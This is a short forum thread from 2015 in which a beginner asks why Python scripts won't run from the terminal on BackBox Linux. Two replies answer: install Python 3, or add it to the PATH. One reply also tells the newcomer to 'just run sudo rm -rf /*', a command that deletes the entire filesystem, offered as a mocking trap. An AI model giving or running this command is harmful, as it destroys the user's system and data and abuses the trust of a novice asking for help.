Author Topic: Running Pythonfrom Terminal?  (Read 6259 times)

34Ck30xN008

  • Newbie
  • *
  • Posts: 1
    • View Profile
on: April 30, 2015, 05:33:16 PM

I am taking a python class and was running ubuntu 14.10 until I had to replace the hdd and figured I would run Backbox instead.
normally I would open a terminal nav to my directory and type "python3 file_name.py" and my script would run and display what returned.
this is not the case. why, and what do I do to be able to run and test my programs?
thank you



ZEROF

  • Hero Member
  • *****
  • Posts: 1245
    • View Profile
    • Pen Tester
Reply #1 on: May 04, 2015, 08:49:30 PM
Hi,

Install python 3.


Don't ask, read : http://wiki.backbox.org
or just run sudo rm -rf /*


Fantasy

  • Guest
Reply #2 on: May 15, 2015, 06:24:32 PM
Either you need to install Python or add its directoy to the PATH variable, so it can be executed from anywhere.